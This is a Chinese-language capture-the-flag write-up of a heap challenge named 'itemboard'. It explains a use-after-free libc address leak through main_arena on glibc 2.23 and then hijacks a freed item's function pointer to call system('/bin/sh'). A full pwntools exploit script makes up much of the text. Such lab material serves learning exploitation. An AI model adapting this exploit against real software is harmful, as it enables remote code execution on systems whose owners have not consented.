先声明一下本文的参考链接
https://blog.youkuaiyun.com/weixin_34050005/article/details/86881709?tdsourcetag=s_pctim_aiomsg
这篇博客写的非常好 受教了 本来其实我是看的另一道题 但是那道题 感觉并不是很适合我这种萌新 然后我就看到了这道题 就
由于这个篇文章写的很清楚 而且 代码直接就可以拿到flag 我决定换一个库来实验 就用我的 16.04 的 版本号
我们先看一下运行库
看的出来是 2.23.so的库 我们把他找出来
然后 这个题的保护是
是由pie的 那么 我本来的想法 就失败了 libc的基址 不能够泄露出来 然后 这里 的话 上面的那个博客就写的非常全面 就是 :
而在fastbin为空时,unsortbin的fd和bk指向自身main_arena中,该地址的相对偏移值存放在libc.so中,可以通过use after free后打印出main_arena的实际地址,结合偏移值从而得到libc的加载地址。
上面就是上面链接博客的原话 这个 就是我们求出libc的地址的 原理 我们先调试一下
申请两个堆 然后释放掉一个堆
add('aaaa',0x80,'bbbb')
add('cccc',0x80,'dddd')
dele(0)
看一下 堆的变化
这里可以看的出来 是 main_arena+88的地址 main_arena的基址存放在libc中的malloc_trim()函数中 那么我们去找一下 2.23so的 malloc_trim()函数
那么 main_arena 的基址就是0x3C4B20 那么我们就可以求出来我们的lib的基址
得到我们lib的基址 就能够获得我们的 system的地址 那么 我们可以利用 堆 优先考虑 最先释放的堆的地址 那么 我们可以 用uaf 的特性 来 将 临时申请的 item的free 指针 指向 system 就可以了
那么这道题 就完美结束了
#!/usr/bin/python2
#coding=utf8
from pwn import *
io=process("./itemboard")
libc=ELF("./libc6_2.23.so")
def add(name,len,context):
io.recvuntil("choose:")
io.sendline("1")
io.recvuntil("Item name?")
io.sendline(name)
io.recvuntil("Description's len?")
io.sendline(str(len))
io.recvuntil("Description?")
io.sendline(context)
def show(index):
io.recvuntil("choose:")
io.sendline("3")
io.recvuntil("Which item?")
io.sendline(str(index))
def dele(index):
io.recvuntil("choose:")
io.sendline("4")
io.recvuntil("Which item?")
io.sendline(str(index))
if __name__ =='__main__':
add('aaaa',0x80,'bbbb')
add('cccc',0x80,'dddd')
dele(0)
show(0)
io.recvuntil("Description:")
libc_base_addr=u64(io.recv(6).ljust(8,'\x00'))-88-0x3C4B20
system_addr=libc_base_addr+libc.symbols['system']
print 'system address: ',hex(system_addr)
dele(1)
add('aaaa',0x18,'eeee')
dele(2)
add('aaaa',0x18,'/bin/sh;'+'s'*8+p64(system_addr))
dele(2)
io.interactive()
在本地成功!